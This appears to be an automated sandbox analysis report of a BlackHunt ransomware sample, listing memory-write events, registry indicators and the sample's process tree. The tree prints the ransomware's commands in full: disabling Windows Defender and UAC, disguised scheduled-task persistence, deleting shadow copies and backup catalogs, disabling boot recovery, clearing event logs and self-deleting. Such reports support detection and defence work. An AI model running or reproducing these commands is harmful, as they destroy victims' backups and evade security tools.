109 PID 1508 wrote to memory of 2608 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 112 PID 1508 wrote to memory of 2608 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 112 PID 1660 wrote to memory of 3012 1660 cmd.exe 111 PID 1660 wrote to memory of 3012 1660 cmd.exe 111 PID 1524 wrote to memory of 4152 1524 cmd.exe 114 PID 1524 wrote to memory of 4152 1524 cmd.exe 114 PID 1508 wrote to memory of 1688 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 115 PID 1508 wrote to memory of 1688 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 115 PID 2100 wrote to memory of 1476 2100 cmd.exe 195 PID 2100 wrote to memory of 1476 2100 cmd.exe 195 PID 2376 wrote to memory of 1152 2376 Conhost.exe 119 PID 2376 wrote to memory of 1152 2376 Conhost.exe 119 PID 1508 wrote to memory of 1944 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 234 PID 1508 wrote to memory of 1944 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 234 PID 1508 wrote to memory of 1976 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 124 PID 1508 wrote to memory of 1976 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 124 PID 1508 wrote to memory of 716 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 122 PID 1508 wrote to memory of 716 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 122 PID 1508 wrote to memory of 436 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 178 PID 1508 wrote to memory of 436 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 178 PID 2608 wrote to memory of 3432 2608 cmd.exe 127 PID 2608 wrote to memory of 3432 2608 cmd.exe 127 PID 1688 wrote to memory of 3060 1688 cmd.exe 128 PID 1688 wrote to memory of 3060 1688 cmd.exe 128 PID 1508 wrote to memory of 3976 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 129 PID 1508 wrote to memory of 3976 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 129 PID 1508 wrote to memory of 4524 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 267 PID 1508 wrote to memory of 4524 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 267 PID 1508 wrote to memory of 5000 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 252 PID 1508 wrote to memory of 5000 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 252 PID 1508 wrote to memory of 2760 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 136 PID 1508 wrote to memory of 2760 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 136 PID 1508 wrote to memory of 1728 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 137 PID 1508 wrote to memory of 1728 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 137 PID 1508 wrote to memory of 2896 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 138 PID 1508 wrote to memory of 2896 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 138 PID 1944 wrote to memory of 2540 1944 fsutil.exe 140 PID 1944 wrote to memory of 2540 1944 fsutil.exe 140 PID 1508 wrote to memory of 2748 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 141 PID 1508 wrote to memory of 2748 1508 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe 141 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe"C:\Users\Admin\AppData\Local\Temp\36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1508 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:544 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1060
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2596
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:4648
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵PID:4312
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:3756
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2356
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:3012
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:4152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵PID:1476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2376
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:3432
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3060
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:1944
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2540
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:716
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2996
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:1976
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:5116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:436
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:4712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:3976
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:4520
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:4524
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2316
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:5000
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:4652
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2760
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1728
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:8704
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2896
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:8984
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2748
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:10020
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4272
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:8976
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:3600
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:8732
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:624
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:6484
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1932
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Modifies registry class
PID:4648
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:10760
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3032
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:8740
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵
- Modifies registry class
PID:4312 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Suspicious use of WriteProcessMemory
PID:2596
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:6632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1468
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:8500
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1560
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:8992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe" /F2⤵
- Suspicious use of WriteProcessMemory
PID:3756 -
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe" /F3⤵
- Creates scheduled task(s)
PID:9704
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1880
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:8432
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3064
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:9848
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1184
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:8704
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1232
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:9872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2440
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:436
-
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:9876
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1648
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:8128
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4956
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:9696
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:3936
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:9864
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1476 -
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:740
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:5288
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:11788
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:5764
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:5848
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:7780
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:11760
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:1944
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:6360
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:15056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:10760
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:7552
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:5888
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:10136
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:11276
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6352
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:11272
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:8816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:7512
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:7084
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:10728
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:5688
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:6596
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:6232
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:7932
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:12468
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:7432
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:6536
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:7948
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:6428
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:9024
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:740
-
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:4960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:7748
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:7468
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe"2⤵PID:11100
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1928
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:10088 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:4680
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4680 -s 14564⤵
- Program crash
PID:10724
-
-
-
-
